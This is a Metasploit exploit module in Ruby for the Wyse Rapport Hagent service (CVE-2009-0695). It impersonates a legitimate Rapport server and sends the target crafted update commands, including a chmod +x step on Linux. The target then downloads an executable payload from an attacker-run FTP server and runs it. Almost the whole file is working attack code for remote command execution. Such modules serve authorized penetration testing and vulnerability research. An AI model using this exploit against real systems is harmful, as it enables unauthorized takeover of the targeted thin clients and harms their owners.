246 lines
6.9 KiB
Ruby
246 lines
6.9 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'timeout'
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::FtpServer
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Wyse Rapport Hagent Fake Hserver Command Execution',
|
|
'Description' => %q{
|
|
This module exploits the Wyse Rapport Hagent service by pretending to
|
|
be a legitimate server. This process involves starting both HTTP and
|
|
FTP services on the attacker side, then contacting the Hagent service of
|
|
the target and indicating that an update is available. The target will
|
|
then download the payload wrapped in an executable from the FTP service.
|
|
},
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Author' => 'kf',
|
|
'References' =>
|
|
[
|
|
['CVE', '2009-0695'],
|
|
['OSVDB', '55839'],
|
|
['US-CERT-VU', '654545'],
|
|
['URL', 'http://snosoft.blogspot.com/'],
|
|
['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],
|
|
['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],
|
|
['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'BadChars' => '',
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XPe x86',{'Platform' => 'win',}],
|
|
[ 'Wyse Linux x86', {'Platform' => 'linux',}],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jul 10 2009'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('SRVPORT', [ true, "The local port to use for the FTP server", 21 ]),
|
|
Opt::RPORT(80),
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def exploit
|
|
|
|
if(datastore['SRVPORT'].to_i != 21)
|
|
print_error("This exploit requires the FTP service to run on port 21")
|
|
return
|
|
end
|
|
|
|
# Connect to the target service
|
|
print_status("Connecting to the target")
|
|
connect()
|
|
|
|
# Start the FTP service
|
|
print_status("Starting the FTP server")
|
|
start_service()
|
|
|
|
# Create the executable with our payload
|
|
print_status("Generating the EXE")
|
|
@exe_file = generate_payload_exe
|
|
if target['Platform'] == 'win'
|
|
maldir = "C:\\" # Windows
|
|
malfile = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".exe"
|
|
co = "XP"
|
|
elsif target['Platform'] == 'linux'
|
|
maldir = "//tmp//" # Linux
|
|
malfile = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".bin"
|
|
co = "LXS"
|
|
end
|
|
@exe_sent = false
|
|
|
|
# Start the HTTP service
|
|
print_status("Starting the HTTP service")
|
|
wdmserver = Rex::Socket::TcpServer.create({
|
|
'Context' => {
|
|
'Msf' => framework,
|
|
'MsfExploit' => self
|
|
}
|
|
})
|
|
|
|
# Let this close automatically
|
|
add_socket(wdmserver)
|
|
|
|
wdmserver_port = wdmserver.getsockname[2]
|
|
print_status("Starting the HTTP service on port #{wdmserver_port}")
|
|
|
|
|
|
fakerapport = Rex::Socket.source_address(rhost)
|
|
fakemac = "00" + Rex::Text.rand_text(5).unpack("H*")[0]
|
|
mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|"
|
|
|
|
# FTP Credentials
|
|
ftpserver = Rex::Socket.source_address(rhost)
|
|
ftpuser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
|
|
ftppass = Rex::Text.rand_text_alphanumeric(rand(8)+1)
|
|
ftpport = 21
|
|
ftpsecure = '0'
|
|
|
|
incr = 10
|
|
pwn1 =
|
|
"&UP0|&SI=1|UR=9" +
|
|
"|CO \x0f#{co}\x0f|#{incr}" +
|
|
# "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" +
|
|
"|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr+1}"
|
|
|
|
pwn2 = "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr+1}"
|
|
|
|
pwn3 =
|
|
"|EX \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +
|
|
# "|RB|#{incr+1}" +
|
|
# "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" +
|
|
#"|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +
|
|
# FTP Paramaters
|
|
"|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + "|&FTPBw=10240" + "|&FTPST=200" +
|
|
"|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" +
|
|
"|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + "|&M_FTPBw=10240" +
|
|
"|&M_FTPST=200" + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" +
|
|
# No clue
|
|
"|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|"
|
|
|
|
if target['Platform'] == 'win'
|
|
pwn = pwn1 + pwn3
|
|
elsif target['Platform'] == 'linux'
|
|
pwn = pwn1 + pwn2 + pwn3
|
|
end
|
|
# Send the malicious request
|
|
sock.put(mal)
|
|
|
|
# Download some response data
|
|
resp = sock.get_once(-1, 10)
|
|
print_status("Received: #{resp}")
|
|
|
|
if not resp
|
|
print_error("No reply from the target, this may not be a vulnerable system")
|
|
return
|
|
end
|
|
|
|
print_status("Waiting on a connection to the HTTP service")
|
|
begin
|
|
Timeout.timeout(190) do
|
|
done = false
|
|
while (not done and session = wdmserver.accept)
|
|
req = session.recvfrom(2000)[0]
|
|
next if not req
|
|
next if req.empty?
|
|
print_status("HTTP Request: #{req.split("\n")[0].strip}")
|
|
|
|
case req
|
|
when /V01/
|
|
print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)")
|
|
res = pwn
|
|
when /V02/
|
|
print_status("++ device sending V02 query...")
|
|
res = "&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|"
|
|
done = true
|
|
|
|
when /V55/
|
|
print_status("++ device sending V55 query...")
|
|
res = pwn
|
|
when /POST/ # PUT is used for non encrypted requests.
|
|
print_status("++ device sending V55 query...")
|
|
res = pwn
|
|
done = true
|
|
else
|
|
print_status("+++ sending generic response...")
|
|
res = pwn
|
|
end
|
|
|
|
print_status("Sending reply: #{res}")
|
|
session.put(res)
|
|
session.close
|
|
end
|
|
end
|
|
rescue ::Timeout::Error
|
|
print_status("Timed out waiting on the HTTP request")
|
|
wdmserver.close
|
|
disconnect()
|
|
stop_service()
|
|
return
|
|
end
|
|
|
|
print_status("Waiting on the FTP request...")
|
|
stime = Time.now.to_f
|
|
while(not @exe_sent)
|
|
break if (stime + 90 < Time.now.to_f)
|
|
select(nil, nil, nil, 0.25)
|
|
end
|
|
|
|
if(not @exe_sent)
|
|
print_status("No executable sent :(")
|
|
end
|
|
|
|
stop_service()
|
|
wdmserver.close()
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
def on_client_command_retr(c,arg)
|
|
print_status("#{@state[c][:name]} FTP download request for #{arg}")
|
|
conn = establish_data_connection(c)
|
|
if(not conn)
|
|
c.put("425 Can't build data connection\r\n")
|
|
return
|
|
end
|
|
|
|
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
|
|
conn.put(@exe_file)
|
|
c.put("226 Transfer complete.\r\n")
|
|
conn.close
|
|
@exe_sent = true
|
|
end
|
|
|
|
def on_client_command_size(c,arg)
|
|
print_status("#{@state[c][:name]} FTP size request for #{arg}")
|
|
c.put("213 #{@exe_file.length}\r\n")
|
|
end
|
|
|
|
|
|
end
|